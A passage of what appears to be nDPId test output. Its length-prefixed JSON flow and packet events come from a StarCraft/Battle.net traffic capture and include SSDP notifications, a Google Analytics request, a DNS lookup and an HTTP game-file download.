Qo="} +00917{"flow_id":12,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":37,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":468965,"pkt_caplen":423,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":423,"pkt_l4_len":389,"pkt":"AQBef\/\/6hCYVPnXECABFAAGZAABAAAERxbPAqAH+7\/\/\/+pbNB2wBhWlvTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHV1aWQ6MTEyOTU5NjQtZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0DQpVU046IHV1aWQ6MTEyOTU5NjQtZmE1OS0xMWU0LTljOWYtODQyNjE1M2U3NWM0DQpOVFM6IHNzZHA6YWxpdmUNCk9QVDogImh0dHA6Ly9zY2hlbWFzLnVwbnAub3JnL3VwbnAvMS8wLyI7DQowMS1OTFM6IDENCkJPT1RJRC5VUE5QLk9SRzogMQ0KQ09ORklHSUQuVVBOUC5PUkc6IDEzMzcNCg0K"} +00999{"flow_id":12,"flow_packet_id":10,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":38,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":469204,"pkt_caplen":482,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":482,"pkt_l4_len":448,"pkt":"AQBef\/\/6hCYVPnXECABFAAHUAABAAAERxXjAqAH+7\/\/\/+pbNB2wBwK\/TTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5Db25uZWN0aW9uRGV2aWNlOjENClVTTjogdXVpZDoxMTI5NTk2NC1mYTU5LTExZTQtOWM5Zi04NDI2MTUzZTc1YzQ6OnVybjpzY2hlbWFzLXVwbnAtb3JnOmRldmljZTpXQU5Db25uZWN0aW9uRGV2aWNlOjENCk5UUzogc3NkcDphbGl2ZQ0KT1BUOiAiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsNCjAxLU5MUzogMQ0KQk9PVElELlVQTlAuT1JHOiAxDQpDT05GSUdJRC5VUE5QLk9SRzogMTMzNw0KDQo="} +00990{"flow_id":12,"flow_packet_id":11,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":39,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389963,"pkt_ts_usec":469428,"pkt_caplen":476,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":476,"pkt_l4_len":442,"pkt":"AQBef\/\/6hCYVPnXECABFAAHOAABAAAERxX7AqAH+7\/\/\/+pbNB2wBuo1wTk9USUZZICogSFRUUC8xLjENCkhPU1Q6IDIzOS4yNTUuMjU1LjI1MDoxOTAwDQpDQUNIRS1DT05UUk9MOiBtYXgtYWdlPTYwDQpsT0NBVElPTjogaHR0cDovLzE5Mi4xNjguMS4yNTQ6NTcwNTIvcm9vdERlc2MwLnhtbA0KU0VSVkVSOiBFUElDRU5UUk8gVVBuUC8xLjAgTWluaVVQblBkLzEuNg0KTlQ6IHVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENClVTTjogdXVpZDoxMTI5NTk2NC1mYTU5LTExZTQtOWM5Zi04NDI2MTUzZTc1YzQ6OnVybjpzY2hlbWFzLXVwbnAtb3JnOnNlcnZpY2U6V0FOSVBDb25uZWN0aW9uOjENCk5UUzogc3NkcDphbGl2ZQ0KT1BUOiAiaHR0cDovL3NjaGVtYXMudXBucC5vcmcvdXBucC8xLzAvIjsNCjAxLU5MUzogMQ0KQk9PVElELlVQTlAuT1JHOiAxDQpDT05GSUdJRC5VUE5QLk9SRzogMTMzNw0KDQo="} +00502{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":40,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1437389954123,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"80.239.186.26","dst_ip":"192.168.1.100","src_port":443,"dst_port":3476,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00482{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":40,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":3,"flow_packet_id":1,"flow_first_seen":1437389954123,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"80.239.186.26","dst_ip":"192.168.1.100","src_port":443,"dst_port":3476,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00502{"flow_event_id":4,"flow_event_name":"guessed","thread_id":0,"packet_id":40,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1437389955642,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"80.239.186.40","dst_ip":"192.168.1.100","src_port":443,"dst_port":3478,"l4_proto":"tcp","ndpi": {"proto":"TLS","breed":"Safe","category":"Web"}} +00482{"flow_event_id":2,"flow_event_name":"end","thread_id":0,"packet_id":40,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":5,"flow_packet_id":1,"flow_first_seen":1437389955642,"flow_last_seen":0,"flow_tot_l4_data_len":20,"flow_min_l4_data_len":20,"flow_max_l4_data_len":20,"flow_avg_l4_data_len":20,"midstream":1,"l3_proto":"ip4","src_ip":"80.239.186.40","dst_ip":"192.168.1.100","src_port":443,"dst_port":3478,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00446{"flow_id":10,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":40,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":511456,"pkt_caplen":74,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":74,"pkt_l4_len":40,"pkt":"hCYVPnXEIImEa8W6CABFAAA8SKZAAIAGzljAqAFkUO\/QwQ1jBF+OUzh85cVUn1AY+eiiKgAAgb8pIAfuTigNRzF0YIhRn73AbVc="} +00484{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":41,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":1,"flow_first_seen":1437389964518,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"173.194.113.224","src_port":3506,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00433{"flow_id":13,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":41,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":518743,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0bDFAAIAGrOPAqAFkrcJx4A2yAFD3XxLXAAAAAIACIABVKAAAAgQFtAEDAwgBAQQC"} +00433{"flow_id":13,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":42,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":552209,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0QI0AADUGY4itwnHgwKgBZABQDbI8Bg5O918S2IASp5SDTQAAAgQFlgEBBAIBAwMH"} +00417{"flow_id":13,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":43,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":552313,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAobDJAAIAGrO7AqAFkrcJx4A2yAFD3XxLYPAYOT1AQAQBqlgAA"} +00889{"flow_id":13,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":44,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":552447,"pkt_caplen":404,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":404,"pkt_l4_len":370,"pkt":"hCYVPnXEIImEa8W6CABFAAGGbDNAAIAGq4\/AqAFkrcJx4A2yAFD3XxLYPAYOT1AYAQCCywAAUE9TVCAvY29sbGVjdCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogQmF0dGxlLm5ldC8xLjMuMC41OTUyDQpIb3N0OiB3d3cuZ29vZ2xlLWFuYWx5dGljcy5jb20NCkFjY2VwdDogKi8qDQpDb250ZW50LVR5cGU6IHRleHQvcGxhaW4NCkNvbnRlbnQtTGVuZ3RoOiAxOTcNCg0Kdj0xJnRpZD1VQS01MDI0OTYwMC0yJmNpZD03OEFBODYzRi0zOTgzLTQ5MjgtQTg4NC0zQ0Y0NzlENEU4NkImej0yJmFuPUFQUCZhdj0xLjMuMC41OTUyJnVsPWVuLXVzJnVpZD0xMjQwNjcyMjgmY2QyPTEuMy4wLjU5NTImY2QzPTAmY2QxPTEmdD1wYWdldmlldyZkaD1FVS5iYXR0bGUubmV0JmRwPSUyRnBsYXklMkZTMlgxX3JldGFpbCUyRnBsYXk="} +00686{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":44,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":13,"flow_packet_id":4,"flow_first_seen":1437389964518,"flow_last_seen":1437389964552,"flow_tot_l4_data_len":454,"flow_min_l4_data_len":20,"flow_max_l4_data_len":370,"flow_avg_l4_data_len":113,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"173.194.113.224","src_port":3506,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP.Google","breed":"Unrated","category":"Web"},"http": {"hostname":"www.google-analytics.com","url":"www.google-analytics.com\/collect","code":0,"content_type":"","user_agent":"Battle.net\/1.3.0.5952"}} +00425{"flow_id":10,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":45,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":569270,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoVBdAADQGDvxQ79DBwKgBZARfDWPlxVSfjlM4kFAQPaJ7agAAAAAAAAAA"} +00557{"flow_id":10,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":46,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":569995,"pkt_caplen":155,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":155,"pkt_l4_len":121,"pkt":"IImEa8W6hCYVPnXECABFAACNVBhAADQGDpZQ79DBwKgBZARfDWPlxVSfjlM4kFAYPaJuWAAAIwQ9pMGCyW3AhiuMP8mzYNJ83EmoDToO2hkSMZkDGaOuRjmhWKDQgF9DTw9ofoWFaqUwLCp1Mpis4vuebKZmDopIZT6lwQKmTcwYC821AtDb+uHs5pcy\/NnhzDKyYJ7rprHLquI="} +00425{"flow_id":13,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":47,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":585420,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoQJUAADUGY4ytwnHgwKgBZABQDbI8Bg5P918UNlAQAVho4AAAAAAAAAAA"} +00419{"flow_id":10,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":48,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":600547,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoSKdAAIAGzmvAqAFkUO\/QwQ1jBF+OUziQ5cVVBFAQ+YO\/IwAA"} +00996{"flow_id":13,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":49,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":602656,"pkt_caplen":481,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":481,"pkt_l4_len":447,"pkt":"IImEa8W6hCYVPnXECABFAAHTQJ8AADUGYdetwnHgwKgBZABQDbI8Bg5P918UNlAYAVjdAAAASFRUUC8xLjEgMjAwIE9LDQpQcmFnbWE6IG5vLWNhY2hlDQpFeHBpcmVzOiBNb24sIDA3IEF1ZyAxOTk1IDIzOjMwOjAwIEdNVA0KQ2FjaGUtQ29udHJvbDogcHJpdmF0ZSwgbm8tY2FjaGUsIG5vLWNhY2hlPVNldC1Db29raWUsIHByb3h5LXJldmFsaWRhdGUNCkFjY2Vzcy1Db250cm9sLUFsbG93LU9yaWdpbjogKg0KTGFzdC1Nb2RpZmllZDogU3VuLCAxNyBNYXkgMTk5OCAwMzowMDowMCBHTVQNClgtQ29udGVudC1UeXBlLU9wdGlvbnM6IG5vc25pZmYNCkNvbnRlbnQtVHlwZTogaW1hZ2UvZ2lmDQpEYXRlOiBNb24sIDIwIEp1bCAyMDE1IDEwOjU5OjI0IEdNVA0KU2VydmVyOiBHb2xmZTINCkNvbnRlbnQtTGVuZ3RoOiAzNQ0KQWx0ZXJuYXRlLVByb3RvY29sOiA4MDpxdWljLHA9MA0KDQpHSUY4OWEBAAEAgP8A\/\/\/\/AAAALAAAAAABAAEAAAICRAEAOw=="} +00417{"flow_id":13,"flow_packet_id":7,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":50,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":602775,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAobDRAAIAGrOzAqAFkrcJx4A2yAFD3XxQ2PAYP+lARAP9njQAA"} +00426{"flow_id":13,"flow_packet_id":8,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":51,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":635398,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAoQKgAADUGY3mtwnHgwKgBZABQDbI8Bg\/6918UN1ARAVhnMwAAAAAAAAAA"} +00417{"flow_id":13,"flow_packet_id":9,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":52,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":635479,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAobDVAAIAGrOvAqAFkrcJx4A2yAFD3XxQ3PAYP+1AQAP9njAAA"} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":53,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1437389964752,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":60026,"dst_port":53,"l4_proto":"udp","flow_datalink":1,"flow_max_packets":15} +00451{"flow_id":14,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":53,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":752396,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"hCYVPnXEIImEa8W6CABFAAA\/X2UAAIARVpbAqAFkwKgB\/up6ADUAK3heAXYBAAABAAAAAAAABGxsbncIYmxpenphcmQDY29tAAABAAE="} +00647{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":53,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":1,"flow_first_seen":1437389964752,"flow_last_seen":0,"flow_tot_l4_data_len":43,"flow_min_l4_data_len":43,"flow_max_l4_data_len":43,"flow_avg_l4_data_len":43,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":60026,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"llnw.blizzard.com","num_queries":0,"num_answers":0,"reply_code":0,"query_type":1,"rsp_type":0,"rsp_addr":"0.0.0.0"}} +00451{"flow_id":14,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":54,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":783426,"pkt_caplen":77,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":77,"pkt_l4_len":43,"pkt":"hCYVPnXEIImEa8W6CABFAAA\/X2YAAIARVpXAqAFkwKgB\/up6ADUAK3heAXYBAAABAAAAAAAABGxsbncIYmxpenphcmQDY29tAAABAAE="} +00540{"flow_id":14,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":55,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":788027,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"IImEa8W6hCYVPnXECABFAACCAABAAEARtbjAqAH+wKgBZAA16noAbnPyAXaBgAABAAMAAAAABGxsbncIYmxpenphcmQDY29tAAABAAHADAAFAAEAAFQfABcIYmxpenphcmQCdm8FbGxud2QDbmV0AMAvAAEAAQAAATwABFf43f7ALwABAAEAAAE8AARX+N39"} +00676{"flow_event_id":6,"flow_event_name":"detection-update","thread_id":0,"packet_id":55,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":14,"flow_packet_id":3,"flow_first_seen":1437389964752,"flow_last_seen":1437389964788,"flow_tot_l4_data_len":196,"flow_min_l4_data_len":43,"flow_max_l4_data_len":110,"flow_avg_l4_data_len":65,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"192.168.1.254","src_port":60026,"dst_port":53,"l4_proto":"udp","ndpi": {"proto":"DNS","breed":"Acceptable","category":"Network"},"dns": {"query":"llnw.blizzard.com","num_queries":1,"num_answers":3,"reply_code":0,"query_type":1,"rsp_type":1,"rsp_addr":"87.248.221.254"}} +00483{"flow_event_id":1,"flow_event_name":"new","thread_id":0,"packet_id":56,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":1,"flow_first_seen":1437389964790,"flow_last_seen":0,"flow_tot_l4_data_len":32,"flow_min_l4_data_len":32,"flow_max_l4_data_len":32,"flow_avg_l4_data_len":32,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"87.248.221.254","src_port":3508,"dst_port":80,"l4_proto":"tcp","flow_datalink":1,"flow_max_packets":15} +00437{"flow_id":15,"flow_packet_id":1,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":56,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":790451,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"hCYVPnXEIImEa8W6CABFAAA0FwlAAIAG67fAqAFkV\/jd\/g20AFApaAewAAAAAIAC\/\/838QAAAgQFtAEDAwgBAQQC"} +00540{"flow_id":14,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":57,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":835229,"pkt_caplen":144,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":144,"pkt_l4_len":110,"pkt":"IImEa8W6hCYVPnXECABFAACCAABAAEARtbjAqAH+wKgBZAA16noAbgsvAXaBgAABAAMAAAAABGxsbncIYmxpenphcmQDY29tAAABAAHADAAFAAEAADuIABcIYmxpenphcmQCdm8FbGxud2QDbmV0AMAvAAEAAQAAASoABFf43f7ALwABAAEAAAEqAARX+N39"} +00435{"flow_id":15,"flow_packet_id":2,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":58,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":848509,"pkt_caplen":66,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":66,"pkt_l4_len":32,"pkt":"IImEa8W6hCYVPnXECABFAAA0tGpAAPUG2VVX+N3+wKgBZABQDbTA0NjuKWgHsYAS\/\/+fJQAAAgQFtAEDAwQEAgAA"} +00419{"flow_id":15,"flow_packet_id":3,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":59,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":848564,"pkt_caplen":54,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":54,"pkt_l4_len":20,"pkt":"hCYVPnXEIImEa8W6CABFAAAoFwpAAIAG68LAqAFkV\/jd\/g20AFApaAexwNDY71AQBADa8wAA"} +00674{"flow_id":15,"flow_packet_id":4,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":60,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":848660,"pkt_caplen":241,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":241,"pkt_l4_len":207,"pkt":"hCYVPnXEIImEa8W6CABFAADjFwtAAIAG6wbAqAFkV\/jd\/g20AFApaAexwNDY71AYBACGigAAR0VUIC9zYzItcG9kLXJldGFpbC9BRjExQ0QwMC9FVS8yNDYyMS5kaXJlY3QvczItMzYyODEtQkEzNTZERDU3NTU3NzI4ODQzQ0FGNjNBMTJDNzlBQTMubWZpbCBIVFRQLzEuMQ0KVXNlci1BZ2VudDogQmxpenphcmQgV2ViIENsaWVudA0KSG9zdDogbGxudy5ibGl6emFyZC5jb20NCkNhY2hlLUNvbnRyb2w6IG5vLWNhY2hlDQoNCg=="} +00746{"flow_event_id":5,"flow_event_name":"detected","thread_id":0,"packet_id":60,"source":"starcraft_battle.pcap","alias":"nDPId-test","flow_id":15,"flow_packet_id":4,"flow_first_seen":1437389964790,"flow_last_seen":1437389964848,"flow_tot_l4_data_len":291,"flow_min_l4_data_len":20,"flow_max_l4_data_len":207,"flow_avg_l4_data_len":72,"midstream":0,"l3_proto":"ip4","src_ip":"192.168.1.100","dst_ip":"87.248.221.254","src_port":3508,"dst_port":80,"l4_proto":"tcp","ndpi": {"proto":"HTTP","breed":"Acceptable","category":"Web"},"http": {"hostname":"llnw.blizzard.com","url":"llnw.blizzard.com\/sc2-pod-retail\/AF11CD00\/EU\/24621.direct\/s2-36281-BA356DD57557728843CAF63A12C79AA3.mfil","code":0,"content_type":"","user_agent":"Blizzard Web Client"}} +00426{"flow_id":15,"flow_packet_id":5,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":61,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":906753,"pkt_caplen":60,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":60,"pkt_l4_len":20,"pkt":"IImEa8W6hCYVPnXECABFAAAowZRAAPUGzDdX+N3+wKgBZABQDbTA0NjvKWgIbFAQD\/7OOgAAAAAAAAAA"} +02371{"flow_id":15,"flow_packet_id":6,"packet_event_id":2,"packet_event_name":"packet-flow","thread_id":0,"packet_id":62,"source":"starcraft_battle.pcap","alias":"nDPId-test","pkt_oversize":false,"pkt_ts_sec":1437389964,"pkt_ts_usec":921004,"pkt_caplen":1514,"pkt_type":2048,"pkt_l3_offset":14,"pkt_l4_offset":34,"pkt_len":1514,"pkt_l4_len":1480,"pkt":"IImEa8W6hCYVPnXECABFAAXcxFhAAPUGw79X+N3+wKgBZABQDbTA0NjvKWgIbFAQEApQtQAASFRUUC8xLjEgMjAwIE9LDQpTZXJ2ZXI6IEFwYWNoZQ0KQWNjZXB0LVJhbmdlczogYnl0ZXMNCkNhY2hlLUNvbnRyb2w6IG1heC1hZ2U9ODY0MDAwDQpDb250ZW50LVR5cGU6IGFwcGxpY2F0aW9uL29jdGV0LXN0cmVhbQ0KQWdlOiA2NDA4NjINCkRhdGU6IE1vbiwgMjAgSnVsIDIwMTUgMTA6NTk6MjQgR01UDQpMYXN0LU1vZGlmaWVkOiBGcmksIDAzIEp1bCAyMDE1IDAwOjAzOjE2IEdNVA0KRXhwaXJlczogVGh1LCAyMyBKdWwgMjAxNSAwMDo1ODoyMiBHTVQNCkNvbnRlbnQtTGVuZ3RoOiAxMjQwMDMNCkNvbm5lY3Rpb246IGtlZXAtYWxpdmUNCg0KdmVyc2lvbj0zCnNlcnZlcnBhdGg9YmFzZQoJcGF0aD0KZmlsZT1CYXR0bGUubmV0L0JhdHRsZS5uZXQuTVBRCgluYW1lPUJhdHRsZS5uZXQvQmF0dGxlLm5ldC5NUFEKCXNpemU9NzEzNjE0NzUKCWZpbGV2ZXJzaW9uPTI0NjIxCglmbGFncz0wCglwYXRoPWJhc2UKCXRhZz1iYXNlCmZpbGU9Q2FtcGFpZ25zL0xpYmVydHkuU0MyQ2FtcGFpZ24vQmFzZS5TQzJBc3NldHMKCW5hbWU9Q2FtcGFpZ25zL0xpYmVydHkuU0MyQ2FtcGFpZ24vQmFzZS5TQzJBc3NldHMKCXNpemU9MzM5MTU1NzQ3OQoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTAKCXBhdGg9YmFzZQoJdGFnPWJhc2UKZmlsZT1DYW1wYWlnbnMvTGliZXJ0eS5TQzJDYW1wYWlnbi9CYXNlLlNDMkRhdGEKCW5hbWU9Q2FtcGFpZ25zL0xpYmVydHkuU0MyQ2FtcGFpZ24vQmFzZS5TQzJEYXRhCglzaXplPTgwNDkxOAoJZmlsZXZlcnNpb249MjQ2MjEKCWZsYWdzPTAKCXBhdGg9YmFzZQoJdGFnPWJhc2UKZmlsZT1DYW1wYWlnbnMvTGliZXJ0eS5TQzJDYW1wYWlnbi9CYXNlLlNDMk1hcHMKCW5hbWU9Q2FtcGFpZ25zL0xpYmVydHkuU0MyQ2FtcGFpZ24vQmFzZS5TQzJNY